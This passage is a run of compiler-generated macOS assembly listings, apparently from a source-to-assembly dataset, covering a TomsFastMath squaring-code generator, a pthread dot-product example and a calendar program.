LBB0_43: ## in Loop: Header=BB0_31 Depth=2
jmp LBB0_44
LBB0_44: ## in Loop: Header=BB0_31 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_31
LBB0_45: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %eax
andl $1, %eax
cmpl $0, %eax
jne LBB0_47
## %bb.46: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %esi
movl -20(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_47: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_48
LBB0_48: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %esi
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
## %bb.49: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_50:
movl -32(%rbp), %esi
addl -32(%rbp), %esi
subl $1, %esi
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
movl -32(%rbp), %esi
addl -32(%rbp), %esi
movl -32(%rbp), %edx
addl -32(%rbp), %edx
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "#define TFM_DEFINES\n#include \"fp_sqr_comba.c\"\n\n#if defined(TFM_SQR%d) && FP_SIZE >= %d\nvoid fp_sqr_comba%d(fp_int *A, fp_int *B)\n{\n fp_digit *a, b[%d], c0, c1, c2, sc0, sc1, sc2;\n#ifdef TFM_ISO\n fp_word tt;\n#endif\n\n a = A->dp;\n COMBA_START;\n\n /* clear carries */\n CLEAR_CARRY;\n\n /* output 0 */\n SQRADD(a[0],a[0]);\n COMBA_STORE(b[0]);\n"
L_.str.1: ## @.str.1
.asciz "\n /* output %d */\n CARRY_FORWARD;\n "
L_.str.2: ## @.str.2
.asciz "SQRADD(a[%d], a[%d]); "
L_.str.3: ## @.str.3
.asciz "SQRADD2(a[%d], a[%d]); "
L_.str.4: ## @.str.4
.asciz "SQRADDSC(a[%d], a[%d]); "
L_.str.5: ## @.str.5
.asciz "SQRADDAC(a[%d], a[%d]); "
L_.str.6: ## @.str.6
.asciz "SQRADDDB; "
L_.str.7: ## @.str.7
.asciz "\n COMBA_STORE(b[%d]);\n"
L_.str.8: ## @.str.8
.asciz " COMBA_STORE2(b[%d]);\n"
L_.str.9: ## @.str.9
.asciz " COMBA_FINI;\n\n B->used = %d;\n B->sign = FP_ZPOS;\n memcpy(B->dp, b, %d * sizeof(fp_digit));\n fp_clamp(B);\n}\n#endif\n\n\n/* $Source$ */\n/* $Revision$ */\n/* $Date$ */\n"
.subsections_via_symbols
| the_stack_data/148893.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dotprod ; -- Begin function dotprod
.p2align 2
_dotprod: ; @dotprod
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _dotstr@GOTPAGE
ldr x8, [x8, _dotstr@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
stur x0, [x29, #-8]
ldur x9, [x29, #-8]
stur x9, [x29, #-32]
ldr w9, [x8, #24]
stur w9, [x29, #-24]
ldur x9, [x29, #-32]
ldursw x10, [x29, #-24]
mul x9, x9, x10
; kill: def $w9 killed $w9 killed $x9
stur w9, [x29, #-16]
ldur w9, [x29, #-16]
ldur w10, [x29, #-24]
add w9, w9, w10
stur w9, [x29, #-20]
ldr x9, [x8]
str x9, [sp, #48]
ldr x8, [x8, #8]
str x8, [sp, #40]
movi d0, #0000000000000000
stur d0, [x29, #-40]
ldur w8, [x29, #-16]
stur w8, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #48]
ldursw x9, [x29, #-12]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #40]
ldursw x9, [x29, #-12]
ldr d1, [x8, x9, lsl #3]
ldur d2, [x29, #-40]
fmadd d0, d0, d1, d2
stur d0, [x29, #-40]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_4:
adrp x0, _mutexsum@GOTPAGE
ldr x0, [x0, _mutexsum@GOTPAGEOFF]
str x0, [sp, #24] ; 8-byte Folded Spill
bl _pthread_mutex_lock
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldur x9, [x29, #-8]
ldur d1, [x29, #-40]
ldr d0, [x8, #16]
mov x8, sp
str x9, [x8]
str d1, [x8, #8]
str d0, [x8, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldur d1, [x29, #-40]
ldr d0, [x8, #16]
fadd d0, d0, d1
str d0, [x8, #16]
bl _pthread_mutex_unlock
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #160
.cfi_def_cfa_offset 160
stp x29, x30, [sp, #144] ; 16-byte Folded Spill
add x29, sp, #144
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _dotstr@GOTPAGE
ldr x8, [x8, _dotstr@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
mov x0, #6400
str x0, [sp, #24] ; 8-byte Folded Spill
bl _malloc
mov x8, x0
ldr x0, [sp, #24] ; 8-byte Folded Reload
stur x8, [x29, #-32]
bl _malloc
stur x0, [x29, #-40]
stur xzr, [x29, #-24]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-24]
subs x8, x8, #800
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur x8, [x29, #-40]
ldur x9, [x29, #-24]
fmov d0, #1.00000000
str d0, [x8, x9, lsl #3]
ldur x8, [x29, #-32]
ldur x9, [x29, #-24]
str d0, [x8, x9, lsl #3]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur x8, [x29, #-24]
add x8, x8, #1
stur x8, [x29, #-24]
b LBB1_1
LBB1_4:
ldr x8, [sp, #16] ; 8-byte Folded Reload
mov w9, #100
str w9, [x8, #24]
ldur x9, [x29, #-32]
str x9, [x8]
ldur x9, [x29, #-40]
str x9, [x8, #8]
movi d0, #0000000000000000
str d0, [x8, #16]
adrp x0, _mutexsum@GOTPAGE
ldr x0, [x0, _mutexsum@GOTPAGEOFF]
mov x1, #0
bl _pthread_mutex_init
add x0, sp, #32
str x0, [sp, #8] ; 8-byte Folded Spill
bl _pthread_attr_init
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w1, #1
bl _pthread_attr_setdetachstate
stur xzr, [x29, #-24]
b LBB1_5
LBB1_5: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-24]
subs x8, x8, #8
cset w8, ge
tbnz w8, #0, LBB1_8
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_5 Depth=1
ldur x9, [x29, #-24]
adrp x8, _callThd@GOTPAGE
ldr x8, [x8, _callThd@GOTPAGEOFF]
add x0, x8, x9, lsl #3
ldur x3, [x29, #-24]
add x1, sp, #32
adrp x2, _dotprod@PAGE
add x2, x2, _dotprod@PAGEOFF
bl _pthread_create
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_5 Depth=1
ldur x8, [x29, #-24]
add x8, x8, #1
stur x8, [x29, #-24]
b LBB1_5
LBB1_8:
add x0, sp, #32
bl _pthread_attr_destroy
stur xzr, [x29, #-24]
b LBB1_9
LBB1_9: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-24]
subs x8, x8, #8
cset w8, ge
tbnz w8, #0, LBB1_12
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_9 Depth=1
ldur x9, [x29, #-24]
adrp x8, _callThd@GOTPAGE
ldr x8, [x8, _callThd@GOTPAGEOFF]
ldr x0, [x8, x9, lsl #3]
sub x1, x29, #48
bl _pthread_join
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_9 Depth=1
ldur x8, [x29, #-24]
add x8, x8, #1
stur x8, [x29, #-24]
b LBB1_9
LBB1_12:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr d0, [x8, #16]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x0, [x29, #-32]
bl _free
ldur x0, [x29, #-40]
bl _free
adrp x0, _mutexsum@GOTPAGE
ldr x0, [x0, _mutexsum@GOTPAGEOFF]
bl _pthread_mutex_destroy
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.comm _dotstr,32,3 ; @dotstr
.comm _mutexsum,64,3 ; @mutexsum
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Thread %ld adding partial sum of %f to global sum of %f\n"
.comm _callThd,64,3 ; @callThd
l_.str.1: ; @.str.1
.asciz "Done. Threaded version: sum = %f \n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dotprod ## -- Begin function dotprod
.p2align 4, 0x90
_dotprod: ## @dotprod
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -32(%rbp)
movq _dotstr@GOTPCREL(%rip), %rax
movl 24(%rax), %eax
movl %eax, -24(%rbp)
movq -32(%rbp), %rax
movslq -24(%rbp), %rcx
imulq %rcx, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -16(%rbp)
movl -16(%rbp), %eax
addl -24(%rbp), %eax
movl %eax, -20(%rbp)
movq _dotstr@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
movq _dotstr@GOTPCREL(%rip), %rax
movq 8(%rax), %rax
movq %rax, -56(%rbp)
xorps %xmm0, %xmm0
movsd %xmm0, -40(%rbp)
movl -16(%rbp), %eax
movl %eax, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -48(%rbp), %rax
movslq -12(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -56(%rbp), %rax
movslq -12(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_4:
movq _mutexsum@GOTPCREL(%rip), %rdi
movq %rdi, -72(%rbp) ## 8-byte Spill
callq _pthread_mutex_lock
movq -8(%rbp), %rsi
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq _dotstr@GOTPCREL(%rip), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
movsd 16(%rax), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str(%rip), %rdi
movb $2, %al
callq _printf
movq -72(%rbp), %rdi ## 8-byte Reload
## kill: def $ecx killed $eax
movq -64(%rbp), %rax ## 8-byte Reload
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
movsd 16(%rax), %xmm0 ## xmm0 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, 16(%rax)
callq _pthread_mutex_unlock
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI1_0:
.quad 0x3ff0000000000000 ## double 1
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $112, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $6400, %edi ## imm = 0x1900
callq _malloc
movq %rax, -32(%rbp)
movl $6400, %edi ## imm = 0x1900
callq _malloc
movq %rax, -40(%rbp)
movq $0, -24(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpq $800, -24(%rbp) ## imm = 0x320
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -40(%rbp), %rax
movq -24(%rbp), %rcx
movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, (%rax,%rcx,8)
movq -32(%rbp), %rax
movq -24(%rbp), %rcx
movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, (%rax,%rcx,8)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB1_1
LBB1_4:
movq _dotstr@GOTPCREL(%rip), %rax
movl $100, 24(%rax)
movq -32(%rbp), %rcx
movq _dotstr@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -40(%rbp), %rcx
movq _dotstr@GOTPCREL(%rip), %rax
movq %rcx, 8(%rax)
movq _dotstr@GOTPCREL(%rip), %rax
xorps %xmm0, %xmm0
movsd %xmm0, 16(%rax)
movq _mutexsum@GOTPCREL(%rip), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_mutex_init
leaq -112(%rbp), %rdi
callq _pthread_attr_init
leaq -112(%rbp), %rdi
movl $1, %esi
callq _pthread_attr_setdetachstate
movq $0, -24(%rbp)
LBB1_5: ## =>This Inner Loop Header: Depth=1
cmpq $8, -24(%rbp)
jge LBB1_8
## %bb.6: ## in Loop: Header=BB1_5 Depth=1
movq -24(%rbp), %rax
movq _callThd@GOTPCREL(%rip), %rdi
shlq $3, %rax
addq %rax, %rdi
movq -24(%rbp), %rcx
leaq -112(%rbp), %rsi
leaq _dotprod(%rip), %rdx
callq _pthread_create
## %bb.7: ## in Loop: Header=BB1_5 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB1_5
LBB1_8:
leaq -112(%rbp), %rdi
callq _pthread_attr_destroy
movq $0, -24(%rbp)
LBB1_9: ## =>This Inner Loop Header: Depth=1
cmpq $8, -24(%rbp)
jge LBB1_12
## %bb.10: ## in Loop: Header=BB1_9 Depth=1
movq -24(%rbp), %rcx
movq _callThd@GOTPCREL(%rip), %rax
movq (%rax,%rcx,8), %rdi
leaq -48(%rbp), %rsi
callq _pthread_join
## %bb.11: ## in Loop: Header=BB1_9 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB1_9
LBB1_12:
movq _dotstr@GOTPCREL(%rip), %rax
movsd 16(%rax), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.1(%rip), %rdi
movb $1, %al
callq _printf
movq -32(%rbp), %rdi
callq _free
movq -40(%rbp), %rdi
callq _free
movq _mutexsum@GOTPCREL(%rip), %rdi
callq _pthread_mutex_destroy
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.comm _dotstr,32,3 ## @dotstr
.comm _mutexsum,64,3 ## @mutexsum
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Thread %ld adding partial sum of %f to global sum of %f\n"
.comm _callThd,64,4 ## @callThd
L_.str.1: ## @.str.1
.asciz "Done. Threaded version: sum = %f \n"
.subsections_via_symbols
| the_stack_data/31388612.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _add_days ; -- Begin function add_days
.p2align 2
_add_days: ; @add_days
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
str wzr, [sp, #12]
str wzr, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
ldr x9, [sp, #16]
ldr w9, [x9, #16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #8]
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_1
LBB0_4:
ldr x8, [sp, #16]
ldr w9, [x8, #12]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
ldr w0, [sp, #12]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _genCalendar ; -- Begin function genCalendar
.p2align 2
_genCalendar: ; @genCalendar
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _calendar@GOTPAGE
ldr x8, [x8, _calendar@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
stur x0, [x29, #-8]
stur wzr, [x29, #-12]
mov x0, #1600
bl _malloc
ldr x8, [sp, #24] ; 8-byte Folded Reload
str x0, [x8]
ldr x9, [x8]
mov x8, #0
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_2:
stur wzr, [x29, #-12]
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB1_15
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldr w8, [x8, #20]
add w8, w8, #1900
ldur w10, [x29, #-12]
add w8, w8, w10
stur w8, [x29, #-16]
ldur w8, [x29, #-16]
ldr x9, [x9]
ldursw x10, [x29, #-12]
lsl x10, x10, #4
str w8, [x9, x10]
ldur w9, [x29, #-12]
mov w8, #0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=1
ldur x8, [x29, #-8]
ldr w8, [x8, #16]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-8]
ldr w9, [x8, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldr w10, [x8, #16]
mov w8, #12
subs w8, w8, w10
ldr x9, [x9]
ldursw x10, [x29, #-12]
add x9, x9, x10, lsl #4
str w8, [x9, #12]
ldur w8, [x29, #-16]
mov w10, #4
sdiv w9, w8, w10
mul w9, w9, w10
subs w9, w8, w9
mov w8, #0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_3 Depth=1
ldur x1, [x29, #-8]
adrp x0, _leap_year@PAGE
add x0, x0, _leap_year@PAGEOFF
bl _add_days
ldr x9, [sp, #24] ; 8-byte Folded Reload
mov w8, #366
subs w8, w8, w0
ldr x9, [x9]
ldursw x10, [x29, #-12]
add x9, x9, x10, lsl #4
str w8, [x9, #4]
b LBB1_8
LBB1_7: ; in Loop: Header=BB1_3 Depth=1
ldur x1, [x29, #-8]
adrp x0, _normal_year@PAGE
add x0, x0, _normal_year@PAGEOFF
bl _add_days
ldr x9, [sp, #24] ; 8-byte Folded Reload
mov w8, #365
subs w8, w8, w0
ldr x9, [x9]
ldursw x10, [x29, #-12]
add x9, x9, x10, lsl #4
str w8, [x9, #4]
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_3 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldr w8, [x8, #16]
add w10, w8, #1
mov w8, #12
subs w8, w8, w10
ldr x9, [x9]
ldursw x10, [x29, #-12]
add x9, x9, x10, lsl #4
str w8, [x9, #12]
b LBB1_13
LBB1_9: ; in Loop: Header=BB1_3 Depth=1
ldur w8, [x29, #-16]
mov w10, #4
sdiv w9, w8, w10
mul w9, w9, w10
subs w9, w8, w9
mov w8, #0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_11
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
add x9, x8, x9, lsl #4
mov w8, #366
str w8, [x9, #4]
b LBB1_12
LBB1_11: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
add x9, x8, x9, lsl #4
mov w8, #365
str w8, [x9, #4]
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
add x9, x8, x9, lsl #4
mov w8, #12
str w8, [x9, #12]
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_3 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x9]
ldursw x10, [x29, #-12]
add x8, x8, x10, lsl #4
ldr w8, [x8, #4]
mov w10, #7
sdiv w8, w8, w10
ldr x9, [x9]
ldursw x10, [x29, #-12]
add x9, x9, x10, lsl #4
str w8, [x9, #8]
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_3 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB1_3
LBB1_15:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _calculateDay ; -- Begin function calculateDay
.p2align 2
_calculateDay: ; @calculateDay
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w9, [sp, #12]
mov w8, #80
subs w8, w8, w9
str w8, [sp, #8]
str wzr, [sp, #4]
str wzr, [sp]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
adrp x8, _calendar@GOTPAGE
ldr x8, [x8, _calendar@GOTPAGEOFF]
ldr x8, [x8]
ldrsw x9, [sp]
add x8, x8, x9, lsl #4
ldr w9, [x8, #4]
ldr w8, [sp, #4]
add w8, w8, w9
str w8, [sp, #4]
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB2_1
LBB2_4:
ldr w0, [sp, #4]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _show_detail ; -- Begin function show_detail
.p2align 2
_show_detail: ; @show_detail
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _calendar@GOTPAGE
ldr x8, [x8, _calendar@GOTPAGEOFF]
stur x8, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
stur w8, [x29, #-8]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #80
cset w8, ge
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur x8, [x29, #-16] ; 8-byte Folded Reload
ldr x9, [x8]
ldur w10, [x29, #-8]
ldur w11, [x29, #-4]
subs w11, w10, w11
; implicit-def: $x10
mov x10, x11
sxtw x10, w10
lsl x10, x10, #4
ldr w9, [x9, x10]
; implicit-def: $x13
mov x13, x9
ldur w9, [x29, #-8]
; implicit-def: $x12
mov x12, x9
ldr x9, [x8]
ldur w10, [x29, #-8]
ldur w11, [x29, #-4]
subs w10, w10, w11
add x9, x9, w10, sxtw #4
ldr w9, [x9, #12]
; implicit-def: $x11
mov x11, x9
ldr x9, [x8]
ldur w10, [x29, #-8]
ldur w14, [x29, #-4]
subs w10, w10, w14
add x9, x9, w10, sxtw #4
ldr w9, [x9, #8]
; implicit-def: $x10
mov x10, x9
ldr x8, [x8]
ldur w9, [x29, #-8]
ldur w14, [x29, #-4]
subs w9, w9, w14
add x8, x8, w9, sxtw #4
ldr w9, [x8, #4]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x13, [x9]
str x12, [x9, #8]
str x11, [x9, #16]
str x10, [x9, #24]
str x8, [x9, #32]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB3_1
LBB3_4:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _clear ; -- Begin function clear
.p2align 2
_clear: ; @clear
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _calendar@GOTPAGE
ldr x8, [x8, _calendar@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
adrp x8, _calendar@GOTPAGE
ldr x8, [x8, _calendar@GOTPAGEOFF]
ldr x0, [x8]
bl _free
b LBB4_2
LBB4_2:
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #20] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #20
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
add x0, sp, #32
str x0, [sp, #8] ; 8-byte Folded Spill
bl _time
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _gmtime
str x0, [sp, #24]
ldr x0, [sp, #24]
bl _genCalendar
ldur w0, [x29, #-20]
bl _calculateDay
stur w0, [x29, #-24]
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur w0, [x29, #-20]
bl _show_detail
bl _clear
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _leap_year ; @leap_year
.p2align 2
_leap_year:
.long 31 ; 0x1f
.long 29 ; 0x1d
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
.globl _normal_year ; @normal_year
.p2align 2
_normal_year:
.long 31 ; 0x1f
.long 28 ; 0x1c
.long 31 ; 0x1f
.long 30 ; 0x1e
.long 31 ; 0x1f
